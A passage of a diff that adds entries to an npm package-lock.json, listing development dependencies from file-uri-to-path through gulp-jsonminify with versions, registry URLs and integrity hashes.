"https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "optional": true + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + } + }, + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "findup-sync": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz", + "integrity": "sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==", + "dev": true, + "requires": { + "detect-file": "^1.0.0", + "is-glob": "^4.0.0", + "micromatch": "^4.0.2", + "resolve-dir": "^1.0.1" + } + }, + "fined": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz", + "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==", + "dev": true, + "requires": { + "expand-tilde": "^2.0.2", + "is-plain-object": "^2.0.3", + "object.defaults": "^1.1.0", + "object.pick": "^1.2.0", + "parse-filepath": "^1.0.1" + } + }, + "flagged-respawn": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz", + "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==", + "dev": true + }, + "flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true + }, + "flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "requires": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + } + }, + "flatted": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==", + "dev": true + }, + "flowbite-typography": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/flowbite-typography/-/flowbite-typography-1.0.3.tgz", + "integrity": "sha512-UbdQFIIOb7xx2TS+QQrqr79B6ZSkSZurxYWzV0npth6Wns3/j7KfeDJoH9QFU+Zs7zjrvejNtyzgzWLWyCrdiA==", + "dev": true, + "requires": { + "lodash.castarray": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.merge": "^4.6.2" + } + }, + "flush-write-stream": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz", + "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "readable-stream": "^2.3.6" + } + }, + "for-in": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", + "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==", + "dev": true + }, + "for-own": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", + "integrity": "sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==", + "dev": true, + "requires": { + "for-in": "^1.0.1" + } + }, + "foreground-child": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-2.0.0.tgz", + "integrity": "sha512-dCIq9FpEcyQyXKCkyzmlPTFNgrCzPudOe+mhvJU5zAtlBnGVy2yKxtfsxK2tQBThwq225jcvBjpw1Gr40uzZCA==", + "dev": true, + "requires": { + "cross-spawn": "^7.0.0", + "signal-exit": "^3.0.2" + } + }, + "form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + } + }, + "fraction.js": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "dev": true + }, + "fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==", + "dev": true, + "requires": { + "map-cache": "^0.2.2" + } + }, + "from": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/from/-/from-0.1.7.tgz", + "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==", + "dev": true + }, + "fromentries": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fromentries/-/fromentries-1.3.2.tgz", + "integrity": "sha512-cHEpEQHUg0f8XdtZCc2ZAhrHzKzT0MrFUTcvx+hfxYu7rGMDc5SKoXFh+n4YigxsHXRzc6OrCshdR1bWH6HHyg==", + "dev": true + }, + "fs-extra": { + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz", + "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "dependencies": { + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true + } + } + }, + "fs-mkdirp-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-mkdirp-stream/-/fs-mkdirp-stream-1.0.0.tgz", + "integrity": "sha512-+vSd9frUnapVC2RZYfL3FCB2p3g4TBhaUmrsWlSudsGdnxIuUvBB2QM1VZeBtc49QFwrp+wQLrDs3+xxDgI5gQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.11", + "through2": "^2.0.3" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "dev": true, + "optional": true, + "requires": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + } + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "dev": true + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "get-func-name": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz", + "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==", + "dev": true + }, + "get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + } + }, + "get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true + }, + "get-stdin": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", + "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", + "dev": true + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "requires": { + "pump": "^3.0.0" + } + }, + "get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==", + "dev": true + }, + "glob": { + "version": "7.1.7", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz", + "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "requires": { + "is-glob": "^4.0.3" + } + }, + "glob-stream": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/glob-stream/-/glob-stream-6.1.0.tgz", + "integrity": "sha512-uMbLGAP3S2aDOHUDfdoYcdIePUCfysbAd0IAoWVZbeGU/oNQ8asHVSshLDJUPWxfzj8zsCG7/XeHPHTtow0nsw==", + "dev": true, + "requires": { + "extend": "^3.0.0", + "glob": "^7.1.1", + "glob-parent": "^3.1.0", + "is-negated-glob": "^1.0.0", + "ordered-read-streams": "^1.0.0", + "pumpify": "^1.3.5", + "readable-stream": "^2.1.5", + "remove-trailing-separator": "^1.0.1", + "to-absolute-glob": "^2.0.0", + "unique-stream": "^2.0.2" + }, + "dependencies": { + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==", + "dev": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true, + "peer": true + }, + "glob-watcher": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/glob-watcher/-/glob-watcher-5.0.5.tgz", + "integrity": "sha512-zOZgGGEHPklZNjZQaZ9f41i7F2YwE+tS5ZHrDhbBCk3stwahn5vQxnFmBJZHoYdusR6R1bLSXeGUy/BhctwKzw==", + "dev": true, + "requires": { + "anymatch": "^2.0.0", + "async-done": "^1.2.0", + "chokidar": "^2.0.0", + "is-negated-glob": "^1.0.0", + "just-debounce": "^1.0.0", + "normalize-path": "^3.0.0", + "object.defaults": "^1.1.0" + } + }, + "global-modules": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", + "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", + "dev": true, + "requires": { + "global-prefix": "^1.0.1", + "is-windows": "^1.0.1", + "resolve-dir": "^1.0.0" + } + }, + "global-prefix": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", + "integrity": "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==", + "dev": true, + "requires": { + "expand-tilde": "^2.0.2", + "homedir-polyfill": "^1.0.1", + "ini": "^1.3.4", + "is-windows": "^1.0.1", + "which": "^1.2.14" + }, + "dependencies": { + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + } + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true + }, + "globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "requires": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "dependencies": { + "ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==", + "dev": true + } + } + }, + "glogg": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/glogg/-/glogg-1.0.2.tgz", + "integrity": "sha512-5mwUoSuBk44Y4EshyiqcH95ZntbDdTQqA3QYSrxmzj28Ai0vXBGMH1ApSANH14j2sIRtqCEyg6PfsuP7ElOEDA==", + "dev": true, + "requires": { + "sparkles": "^1.0.0" + } + }, + "graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "growl": { + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true + }, + "gulp": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/gulp/-/gulp-4.0.2.tgz", + "integrity": "sha512-dvEs27SCZt2ibF29xYgmnwwCYZxdxhQ/+LFWlbAW8y7jt68L/65402Lz3+CKy0Ov4rOs+NERmDq7YlZaDqUIfA==", + "dev": true, + "requires": { + "glob-watcher": "^5.0.3", + "gulp-cli": "^2.2.0", + "undertaker": "^1.2.1", + "vinyl-fs": "^3.0.0" + } + }, + "gulp-change": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/gulp-change/-/gulp-change-1.0.2.tgz", + "integrity": "sha512-Okikw3E9bK+mmhC8VGFk+i4iafKTtGTnTGpCheuGtJn51TuMxQ5ooLeRvAfncyr4FQF+Byksj9OaecpDpYDFkw==", + "dev": true, + "requires": { + "event-stream": "^4.0.1" + } + }, + "gulp-clean-css": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/gulp-clean-css/-/gulp-clean-css-4.3.0.tgz", + "integrity": "sha512-mGyeT3qqFXTy61j0zOIciS4MkYziF2U594t2Vs9rUnpkEHqfu6aDITMp8xOvZcvdX61Uz3y1mVERRYmjzQF5fg==", + "dev": true, + "requires": { + "clean-css": "4.2.3", + "plugin-error": "1.0.1", + "through2": "3.0.1", + "vinyl-sourcemaps-apply": "0.2.1" + } + }, + "gulp-cli": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/gulp-cli/-/gulp-cli-2.3.0.tgz", + "integrity": "sha512-zzGBl5fHo0EKSXsHzjspp3y5CONegCm8ErO5Qh0UzFzk2y4tMvzLWhoDokADbarfZRL2pGpRp7yt6gfJX4ph7A==", + "dev": true, + "requires": { + "ansi-colors": "^1.0.1", + "archy": "^1.0.0", + "array-sort": "^1.0.0", + "color-support": "^1.1.3", + "concat-stream": "^1.6.0", + "copy-props": "^2.0.1", + "fancy-log": "^1.3.2", + "gulplog": "^1.0.0", + "interpret": "^1.4.0", + "isobject": "^3.0.1", + "liftoff": "^3.1.0", + "matchdep": "^2.0.0", + "mute-stdout": "^1.0.0", + "pretty-hrtime": "^1.0.0", + "replace-homedir": "^1.0.0", + "semver-greatest-satisfied-range": "^1.1.0", + "v8flags": "^3.2.0", + "yargs": "^7.1.0" + }, + "dependencies": { + "ansi-colors": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz", + "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==", + "dev": true, + "requires": { + "ansi-wrap": "^0.1.0" + } + }, + "ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==", + "dev": true + }, + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==", + "dev": true + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "get-caller-file": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==", + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==", + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==", + "dev": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==", + "dev": true, + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + } + }, + "y18n": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz", + "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==", + "dev": true + }, + "yargs": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.2.tgz", + "integrity": "sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==", + "dev": true, + "requires": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^5.0.1" + } + }, + "yargs-parser": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.1.tgz", + "integrity": "sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==", + "dev": true, + "requires": { + "camelcase": "^3.0.0", + "object.assign": "^4.1.0" + } + } + } + }, + "gulp-concat": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/gulp-concat/-/gulp-concat-2.6.1.tgz", + "integrity": "sha512-a2scActrQrDBpBbR3WUZGyGS1JEPLg5PZJdIa7/Bi3GuKAmPYDK6SFhy/NZq5R8KsKKFvtfR0fakbUCcKGCCjg==", + "dev": true, + "requires": { + "concat-with-sourcemaps": "^1.0.0", + "through2": "^2.0.0", + "vinyl": "^2.0.0" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "gulp-htmlmin": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/gulp-htmlmin/-/gulp-htmlmin-5.0.1.tgz", + "integrity": "sha512-ASlyDPZOSKjHYUifYV0rf9JPDflN9IRIb8lw2vRqtYMC4ljU3zAmnnaVXwFQ3H+CfXxZSUesZ2x7jrnPJu93jA==", + "dev": true, + "requires": { + "html-minifier": "^3.5.20", + "plugin-error": "^1.0.1", + "through2": "^2.0.3" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "gulp-jsonminify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/gulp-jsonminify/-/gulp-jsonminify-1.1.0.tgz", + "integrity": 